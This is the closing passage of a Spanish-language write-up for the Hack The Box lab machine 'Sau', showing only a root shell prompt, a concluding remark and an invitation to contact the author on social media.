root@sau:/opt/maltrail# 

Con esto, concluimos la maquina "Sau" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización